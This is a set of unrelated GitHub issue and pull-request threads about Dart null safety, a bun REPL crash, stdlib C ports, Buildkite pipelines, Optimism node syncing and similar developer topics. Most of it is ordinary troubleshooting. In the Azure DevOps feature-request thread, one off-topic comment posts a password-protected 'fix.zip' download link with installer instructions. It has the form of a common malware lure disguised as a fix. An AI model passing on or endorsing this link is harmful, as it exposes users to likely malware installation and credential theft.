I see that this is happening because retrieving a value from a map can result in null. Why does the following snippet give me the same warning?
void foo(Map<int, String> myMap) {
  if (myMap.containsKey(1)) {
    String s = myMap[1];
  }
}

Is the dart analyzer not smart enough or is this really an error from my side?

The analyzer can’t know that containsKey(1) returning true means [1] does not return null. And even if it could, the value might be removed from the map in between the two invocations.
This is exactly what the bang is for, you know it won’t return null:
String s = myMap[1]!;

You can also just try to get the value and check for null:
void foo(Map<int, String> myMap) {
  final s = myMap[1];
  if (s != null) {
    // analyzer knows s is not null here
    final l = s.length;
  }
}

This only does 1 lookup instead of 2.

Thanks a lot. I will link here from StackOverflow and now close this issue.


blender  python standalone

https://blender.stackexchange.com/questions/104432/is-it-possible-to-take-control-of-blender-with-a-standalone-python-instance
to join curves in order to 2D -> 3D and generate an image for the website

.free open Blend4web


Add whitelist/blacklist methods

Add whitelist/blacklist methods to TrailDB

I need to add a test to check that the way I implemented whitelists is compatible with passing additional filters to trails()


⚡ jumpstart this project

simplest kotlin dsl gradle build.
dummy netty application in kotlin.

Like #1 but with the simplest possible gradle built using the new Kotlin DSL (sorry but I HATE groovy). I also fleshed out a simple Netty server echo example inspired by the Netty docs -- basically to verify that dependencies were being resolved properly.

I set up my working tree weirdly; I think that's git thinks I want to remove the LICENSE file. We actually advocate for dual licensing under ASLv2 and MIT, to counteract any uncertainty that the MIT license causes in terms of patent grants.

@jrhea nice one catching that in this huge diff :P


not works for 0.3.15

I tested, not works for 0.3.15,
the result is 404 not found.
can you help to fix it? thanks.

I need a bit more context, do you mean it worked with a project using v0.3.14 and after updating to v0.3.15 it doesn't?


MMT470 install problem with torch version on Ubuntu 20.04 LTS

Hi,
When trying to install the latest release, torch 1.3.0 is not found.
The nearest version available is 1.4.0.
Changing torch==1.3.0 to torch==1.4.0 in requirements.txt seems to be sufficient.
I didn't try with a more recent version.

I still have this problem (being now with Ubuntu 21), but the above solution is no more working: Torch is now available in versions at least 1.7.1, and I get something like a Float can't be cast to the desired output type Long somewhere in the LOGs.
I found that the good solution is to enforce the use of Python 3.6 using a conda virtual env:
conda create --prefix ./venvMMT python=3.6
conda activate ./venvMMT

Now, the python setup.py can be run (in my case, I kept torch==1.4.0, since I know it is working).


error: "bun-repl" exited with code 1 (SIGHUP)

Just installed bun inside a WSL today (fresh install) and I'm getting this error when running bun repl
error: "bun-repl" exited with code 1 (SIGHUP)

Saw that maybe the issue was solved in https://github.com/oven-sh/bun/issues/4617, how do I apply the fix?

Do you also see the error: Failed to start server. Is port * in use? error from the issue you linked or just the SIGHUP exit message?

Me too. This is the response when I run it.
bash:~$ bun repl
error: "bun-repl" exited with code 1 (SIGHUP)

P.S. I run on WSL.

Can you try bun repl --debug and see if it outputs anything extra?

Same problem encountered. bun repl --debug will have the output as below.
DEBUG: Debug mode enabled.
DEBUG: [ws/open] repl server listening on ws://localhost:60681/bun:inspect
DEBUG: REPL server initialized.
DEBUG: Transpiler initialized.
DEBUG: Trying to load REPL history from /home/mike/.bun/.bun_repl_history
DEBUG: Loading history file from /home/mike/.bun/.bun_repl_history
error: "bun-repl" exited with code 1 (SIGHUP)

Try to rm -rf the folder at the path given to you by running bun pm cache and then try re-running bun repl

abner@ABNER-DESKTOP:~$ bun repl --debug
DEBUG: Debug mode enabled.
DEBUG: [ws/open] repl server listening on ws://localhost:38895/bun:inspect
DEBUG: REPL server initialized.
DEBUG: Transpiler initialized.
DEBUG: Trying to load REPL history from /home/abner/.bun/.bun_repl_history
DEBUG: Loading history file from /home/abner/.bun/.bun_repl_history
error: "bun-repl" exited with code 1 (SIGHUP)
abner@ABNER-DESKTOP:~$ bun pm cache

error: MissingPackageJSON
Bun could not find a package.json file.

@abnerfs @yy77 @Revitate I just released a new version (2.0.6) that should hopefully fix this for good this time (I remain unable to reproduce) could you all try it again now?
Something to keep in mind when you try, run it with --debug flag and look for the line saying something along the lines of:
DEBUG: REPL version v2.0.6 running on Bun v1.0.1+c3455c0ceee6bbe399781819a42fff6cf24792e2 (linux x64)

It should generally be the 2nd line, under the DEBUG: Debug mode enabled. one.
If you don't see that line it means your REPL version is failing to update, to fix that:

rm -rf $(bun pm cache -g) (adjust as needed if your shell does command interpolation differently)
rm -rf /tmp/bun-repl@* (adjust as needed if your temp folder is elsewhere)
Then try running bun repl --debug again.

It worked 🚀 , thanks

The REPL version v2.0.6 fixed my issues. (Also mentioned in this thread in the bun discord)


[RFC]: add C implementation for math/base/special/fast/* (Tracking Issue)

Description
This RFC proposes adding C implementations for the following packages :

[x]  abs - https://github.com/stdlib-js/stdlib/pull/1894
[x]  acosh - https://github.com/stdlib-js/stdlib/pull/1897
[ ]  alpha-max-plus-beta-min
[x]  asinh - https://github.com/stdlib-js/stdlib/pull/1908
[ ]  atanh - https://github.com/stdlib-js/stdlib/pull/1909
[x]  hypot - https://github.com/stdlib-js/stdlib/pull/1910
[x]  max - https://github.com/stdlib-js/stdlib/pull/1912
[x]  min - https://github.com/stdlib-js/stdlib/pull/1913
[ ]  pow-int - https://github.com/stdlib-js/stdlib/pull/1919
[ ]  uint32-log2
[ ]  uint32-sqrt

Related Issues
Related issues #649.
Questions
No.
Other
No.
Checklist

[X] I have read and understood the Code of Conduct.
[X] Searched for existing issues and pull requests.
[X] The issue name begins with RFC:.

This is a tracking issue, for C implementations of math/base/special/fast packages.

Awesome, thanks @gunjjoshi! I'll expect this to get done quickly.

Sure @Pranavchiku,, as there are no blockers on the remaining ones, I'll look forward to wrap this up super quick !

I think this was close by mistake, reopening

@gunjjoshi Hi,
can you add feat(math): c implementation of alpha-max-plus-beta-min for alpha-max-plus-beta-min
for copying the link directly
[feat(math): c implementation of alpha-max-plus-beta-min](https://github.com/stdlib-js/stdlib/pull/1947)

Done @USERSATOSHI ! Thanks.

Done @USERSATOSHI ! Thanks.

I also found this pr for feat: add C implementation for math/base/special/fast/uint32-log2
for copying the link format
[feat: add C implementation for math/base/special/fast/uint32-log2](https://github.com/stdlib-js/stdlib/pull/1946)

As all tasks are completed, we can close this now.

Brilliant, nice job!


Bootstrap and automatically update Buildkite pipelines

This means that:

postsubmit runs always use with the version of the pipeline
configuration from that commit
presubmit runs use  with the version of the pipeline configuration
from that commit if the PR comes from the main repo. This
limitation is for security reasons and is why this PR branch is in
the main repo. It limits potentially bypassing our normal checks
to people who already have write access to the repository.
Suggestions for ways to do this that support third party forks but
maintain this security are welcome (seriously, I hate pushing to
the main repo).
Pipelines that we need to register with Buildkite can all be
checked in to source control and updated as part of the commit to
the main branch.

This required modifications to the smooth-checkout plugin, which I am
upstreaming in
https://github.com/hasura/smooth-checkout-buildkite-plugin/pull/25.
This allows testing changes to the presubmit pipeline itself on
presubmit. Of course, it relies on the previous version of the pipeline
being sufficiently compatible that it can successfully bootstrap, but
that shouldn't be too hard.
We now have enough stuff going on here that I created pipelines/ and
scripts/ subdirectories. I did not move any of the legacy files (e.g.
samples.yml) to avoid breaking anything.
It's also looking like I should factor out some of the shared Buildkite
Python API usage, but I'd prefer to defer that till a later PR.
Demo of the postsubmit pipeline running successfully is:
https://buildkite.com/iree/postsubmit/builds/51. Normally it wouldn't
be run on a PR, but I triggered it manually to ensure everything was
working. Note that the presubmit pipeline was updated by this to match
what is currently shown in the PR. Demo of the presubmit pipeline
running successfully is the run on this PR as a presubmit:
https://buildkite.com/iree/presubmit/builds/83.
Combines work from obsolete PRs
https://github.com/google/iree/pull/8609 and
https://github.com/google/iree/pull/8606. I tried to have this broken
out into two PRs, but testing the presubmit pipeline in its current
form (as registered with Buildkite) doesn't work very well, which is
why this PR exists. It got all messed up because of the directory
restructuring. I can split that out into a separate PR if that's
preferred.

Ok, I think this is actually ready to go now. Enabling automerge since none of this is actually load bearing or posting to anywhere that should bother anyone else.

And the first successful run of the postsubmit pipeline: https://buildkite.com/iree/postsubmit/builds/52


Create basic tests for snap benefits calculation

Created basic snap benefits testing for a default client and a sample client I made up.
These should be reviewed by someone to verify that the calculation is correct according to MA.
It would also be good to add more test cases with actual data when that is available.

There are sample clients but they're in the wrong dang folder. They're in 'src/tests/utils'. I'll move them out of there and put them in straight up 'src/tests'.


P: WWAD removal from documentation - Retirer Ce que nous faisons de la documentation

Can't be done until templates using it are modified (in stable): Theme, topic, institutional and organizational profiles


Add the heading of the raw GPS locations on iOS to the default position instead of relying purely on the compass for the heading

When the UpdatePosition method is called it creates a new Location object and supplies it with the Latitude, Longitude, Accuracy, Altitude & Altitude Accuracy if available, Timestamp and Speed. It does not add the Heading supplied by the CLLocation by default.
The only way to get an 'heading' is by setting the 'includeHeading' in the StartListeningAsync to true but this does not report the heading of the GPS but where the user is pointing their device since it returns the compass heading.
The change I would like to see is to have the Compass heading be separate of the GPS heading and that the GeoLocator plugin reports the GPS heading on iOS instead of the Compass heading.
This issue doesn't seem to be an issue on Android as there the includeHeading doesn't trigger a compass heading but uses the real GPS Heading.

It looks like we are calling and setting the heading:
https://github.com/jamesmontemagno/Xamarin.Plugins/blob/master/Geolocator/Geolocator/Geolocator.Plugin.iOS/GeolocationSingleUpdateDelegate.cs#L123-L139
To TrueHeading not magnetic, so it looks correct. Reading through this: https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/LocationAwarenessPG/GettingHeadings/GettingHeadings.html
The only thing that I can see is that perhaps it needs to check to see if it should use the magnetic:
From iOS docs:
if (newHeading.headingAccuracy < 0)
      return;

   // Use the true heading if it is valid.
   CLLocationDirection  theHeading = ((newHeading.trueHeading > 0) ?
            newHeading.trueHeading : newHeading.magneticHeading);

   self.currentHeading = theHeading;
   [self updateHeadingDisplays];
}

This issue was moved to jamesmontemagno/GeolocatorPlugin#9


Force vertical layout for all variants if one of then use multiple lines

Closes #1809.

This PR forces vertical layout even if a multiple-lined variant is caused by attributes.

Awesome, thanks!


porch CLI: restrict clone and init to only create the first package revision

Partially implements https://github.com/GoogleContainerTools/kpt/issues/3467#issuecomment-1236430901
Only the first package revision can be made by init or clone. Subsequent package revisions should be created with edit/copy.
I spent a bit of time trying to see if this was possible to implement in the porch backend, but I think it's difficult to disambiguate the client's intent, since the package revisions are sent declaratively to porch with a complete task list (so that even subsequent revisions have the initial init/clone tasks). I considered using the length of the task list to tell, but first time package revisions sent to the server could have multiple tasks on them. I think porch would have to make some assumptions about the task list that wouldn't necessarily always hold, so I opted to implement this in the CLI instead, where the restriction is more clearly defined.

cc @mortent @justinsb

cc @yuwenma

This seems fine, though possibly moot once we have workspaces (which I think you're working on in parallel).
If it helps you before workspaces, LGTM!


[Feature][Azure Devops] Being able to use tags of pipeline to retrieve deployments for DORA

Search before asking

[X] I had searched in the issues and found no similar feature requirement.

Use case
Because usually in an azure pipeline the name of the environment is either in the stage name or in a tag of the build instead of the job name, it would be useful to use tags as a filter for deployments for DORA metrics
https://learn.microsoft.com/en-us/azure/devops/pipelines/build/build-tag?view=azure-devops&tabs=azure-pipelines-ui
Description
No response
Related issues
No response
Are you willing to submit a PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

It makes sense to me, anyone who would like to work on it is welcome.


feat: add L2 sync

I've managed to get this branch running but I feel like the /scripts/dtl-start.sh script is not working as intended.
It may be because I didn't start with a fresh install but I had to declare the following variables in my .env file to be able to sync from L2.
DATA_TRANSPORT_LAYER__DEFAULT_BACKEND=l2
DATA_TRANSPORT_LAYER__L1_GAS_PRICE_BACKEND=l2

DATA_TRANSPORT_LAYER__L1_RPC_ENDPOINT=https://mainnet.optimism.io
DATA_TRANSPORT_LAYER__L2_RPC_ENDPOINT=https://mainnet.optimism.io

Hope it helps.

Thanks! Useful feedback. I still need to properly test this. Had to get on a plane half way through writing this PR.

Think maybe adding this to the dtl-start.sh script would fix the issue:
if [ $SYNC_SOURCE == "l1" ]; then
  DATA_TRANSPORT_LAYER__SYNC_FROM_L1=true
  DATA_TRANSPORT_LAYER__SYNC_FROM_L2=false

else
  DATA_TRANSPORT_LAYER__SYNC_FROM_L1=false
  DATA_TRANSPORT_LAYER__SYNC_FROM_L2=true
  DATA_TRANSPORT_LAYER__DEFAULT_BACKEND=l2
  DATA_TRANSPORT_LAYER__L1_GAS_PRICE_BACKEND=l2
fi

Will try it out now

Let me know if it works!

@smartcontracts just ran it now on another machine and it works :)
Basically what I did was:

Left the dtl.env untouched (didn't remove the fields as done in the PR)
Changed the  dtl-start.sh file to look like this:

#!/bin/sh
set -eou

# Setting both endpoints doesn't hurt
DATA_TRANSPORT_LAYER__L1_RPC_ENDPOINT=$DATA_TRANSPORT_LAYER__RPC_ENDPOINT
DATA_TRANSPORT_LAYER__L2_RPC_ENDPOINT=$DATA_TRANSPORT_LAYER__RPC_ENDPOINT

# Also tell the DTL to sync from the right place
if [ $SYNC_SOURCE == "l2" ]; then
  DATA_TRANSPORT_LAYER__SYNC_FROM_L1=false
  DATA_TRANSPORT_LAYER__SYNC_FROM_L2=true
  DATA_TRANSPORT_LAYER__DEFAULT_BACKEND=l2
  DATA_TRANSPORT_LAYER__L1_GAS_PRICE_BACKEND=l2
fi

# Run the DTL
exec node \
  dist/src/services/run.js \
  $@```

@smartcontracts This may be out of scope here, but I had to change my L1_RPC endpoint from my Ethereum full node running on my machine to an Alchemy endpoint because I kept getting this error from l2geth ->  Fatal: No genesis block configured.

Looks like I just needed to add the export keyword

Thanks for all the help here everyone! I think everything should be syncing ok now.

finnaly working thank you


Extra variable in thunk.js

Sorry, did not see #101
Why this is not in master?

It somehow didn't end up in master. I am merging this one in as I couldn't figure out how the merge the other commit properly into the current master.